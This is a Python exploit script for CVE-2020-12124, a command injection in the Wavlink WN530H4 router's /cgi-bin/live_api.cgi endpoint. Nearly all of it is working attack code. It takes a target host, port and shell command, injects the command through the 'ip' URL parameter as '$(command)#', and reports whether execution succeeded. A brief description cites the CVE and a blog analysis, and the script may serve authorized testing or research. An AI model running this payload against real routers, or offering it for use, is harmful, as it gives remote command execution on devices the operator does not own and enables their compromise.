import argparse import requests import urllib description = """ The following is an actualization of CVE-2020-12124, a vulnerability which exploits a command injection in the Wavlink WN530H4 router in which certain parameters are taken from URL parameters in a web request to the /cgi-bin/live_api.cgi endpoint and places them on the command-line without first verifying that it is safe to do so. Given the large number of vulnerabilities reported across this company's entire product line, it is likely that this same vulnerability exists for other models of this company's routers. See the following for more information: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12124 https://www.klogixsecurity.com/scorpion-labs-blog/anatomy-of-an-iot-exploit-from-hands-on-to-rce """ headers = dict() headers["Connection"] = "keep-alive" headers["Upgrade-Insecure-Requests"] = "1" headers["User-Agent"] = "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36" headers["Sec-Fetch-User"] = "?1" headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3" headers["Sec-Fetch-Site"] = "none" headers["Sec-Fetch-Mode"] = "navigate" headers["Accept-Encoding"] = "gzip, deflate, br" headers["Accept-Language"] = "en-US,en;q=0.9" def exploit(target, port, cmd, identity, ssl, page="satellite_list"): prefix = "https" if ssl else "http" url = prefix + "://%s:%d/cgi-bin/live_api.cgi" % (target, port) payload = "page=%s&id=%s&ip=$(%s)#" % (page, identity, urllib.quote(cmd)) target_url = "?".join([url, payload]) try: response = requests.get( target_url, headers=headers, verify=False) if (response.status_code == 200) and (response.content[2:-2] == cmd): print("[+] Exploit connected; seems to have worked!") else: print("[-] Failed with status code %d." % response.status_code) except requests.exceptions.ConnectionError as e: print("%s" % (str(e))) def main(): parser = argparse.ArgumentParser() parser.add_argument( "-t", "--target", default = "localhost", help = "target URL or IP address to throw against") parser.add_argument( "-p", "--port", type = int, default = 8080, help = "target port to throw against") parser.add_argument( "-c", "--command", default = "exit", help = "command(s) to be run on target (default: 'exit')") parser.add_argument( "-i", "--identity", default = "(null)", help = "dummy 'identity' GET parameter (no effect on functionality)") parser.add_argument( "-s", "--ssl", action = "store_true", help = "throw over SSL (actually not seen in use in this product)") parser.add_argument( "-v", "--verbose", action = "store_true", help = "increase output verbosity (currently not implemented)") parser.add_argument( "-a", "--about", action = "store_true", help = "display information about this exploit then exit") args = parser.parse_args() if args.about: print(description) exit() exploit( args.target, args.port, args.command, args.identity, args.ssl) return 0 if __name__ == "__main__": main()